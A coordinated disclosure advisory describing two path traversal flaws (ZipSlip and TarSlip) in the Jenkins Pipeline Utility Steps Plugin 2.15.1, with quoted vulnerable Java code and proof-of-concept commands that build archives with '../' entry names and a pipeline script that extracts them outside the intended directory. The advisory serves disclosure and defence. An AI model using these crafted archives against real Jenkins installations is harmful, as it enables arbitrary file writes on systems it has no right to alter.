Coordinated Disclosure Timeline

Summary

Jenkins Pipeline Utility Steps Plugin 2.15.1 and earlier allows attackers able to manipulate a TAR or ZIP file extracted by the plugin to create or replace any file on the file system.

Product

Pipeline Utility Steps Plugin

Tested Version

2.15.1

Details

Issue 1: ZipSlip in UnZipStepExecution.java (GHSL-2023-058)

The Jenkins Pipeline Utility Steps Plugin provides the UnZipStep class, a Jenkins build step that unzips files specified as parameters. The step’s logic is implemented in UnZipStepExecution:

src/main/java/org/jenkinsci/plugins/pipeline/utility/steps/zip/UnZipStepExecution.java:100

public Map<String, String> invoke(File zipFile, VirtualChannel channel) throws IOException, InterruptedException {
  // --snip--
  try (ZipFile zip = new ZipFile(zipFile, Charset.forName(charset))) {
      logger.println("Extracting from " + zipFile.getAbsolutePath());
      Enumeration<? extends ZipEntry> entries = zip.entries();
      Integer fileCount = 0;
      while (entries.hasMoreElements()) {
          ZipEntry entry = entries.nextElement();
          // --snip--
          FilePath f = getDestination().child(entry.getName());
          if (entry.isDirectory()) {
              if (!read) {
                  f.mkdirs();
              }
          } else {
             // --snip--
            try (InputStream inputStream = zip.getInputStream(entry);
                 OutputStream outputStream = f.write()) {
                IOUtils.copy(inputStream, outputStream);
                outputStream.flush();
            }

It can be seen that the destination filepath f is directly constructed with the names of the entries in the ZIP file, which could contain path traversal sequences (../) to force the extraction of the file outside of the expected directory, causing an arbitrary file write on the filesystem.

Impact

This issue may lead to arbitrary file write.

PoC

As a proof of concept, a malicious ZIP file can be built and served as follows:

echo "echo PWNED" > /tmp/evil.sh
zip zipslip.zip ../../../../../../../../../../../../tmp/evil.sh

Then, after placing the malicious file in the Jenkins agent filesystem, a new pipeline job can be configured to extract it.

Pipeline script:

node {
    unzip 'zipslip.zip'
}

After running the job, the file /tmp/evil.sh will be present in the filesystem.

Issue 2: TarSlip in UnTarStepExecution.java (GHSL-2023-059)

The Jenkins Pipeline Utility Steps Plugin provides the UnTarStep class, a Jenkins build step that untars files specified as parameters. The step’s logic is implemented in UnTarStepExecution:

src/main/java/org/jenkinsci/plugins/pipeline/utility/steps/tar/UnTarStepExecution.java:94

public Void invoke(File tarFile, VirtualChannel channel) throws IOException, InterruptedException {
    // --snip--
    InputStream fileStream = new FileInputStream(tarFile);
    // --snip--
    getDestination().mkdirs();
    try (TarArchiveInputStream tarStream = new TarArchiveInputStream(fileStream)) {
        logger.println("Extracting from " + tarFile.getAbsolutePath());
        TarArchiveEntry entry;
        Integer fileCount = 0;
        while ((entry = tarStream.getNextTarEntry()) != null) {
           // --snip--
            FilePath f = getDestination().child(entry.getName());
            if (entry.isDirectory()) {
                f.mkdirs();
            } else {
                // --snip--
                if (entry.isCheckSumOK()) {
                    OutputStream outputStream = f.write();
                    IOUtils.copy(tarStream, outputStream);
                    outputStream.close();

It can be seen that the destination filepath f is directly constructed with the names of the entries in the TAR file, which could contain path traversal sequences (../) to force the extraction of the file outside of the expected directory, causing an arbitrary file write on the filesystem.

Impact

This issue may lead to arbitrary file write.

PoC

As a proof of concept, a malicious TAR file can be built and served as follows:

echo "echo PWNED" > /tmp/evil.sh
tar cvf tarslip.tar ../../../../../../../../../../../../tmp/evil.sh

Then, after placing the malicious file in the Jenkins agent filesystem, a new pipeline job can be configured to extract it.

Pipeline script:

node {
    untar 'tarslip.tar'
}

After running the job, the file /tmp/evil.sh will be present in the filesystem.

CVE

Resources

Credit

These issues were discovered and reported by CodeQL team member @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-058 or GHSL-2023-059 in any communication regarding these issues.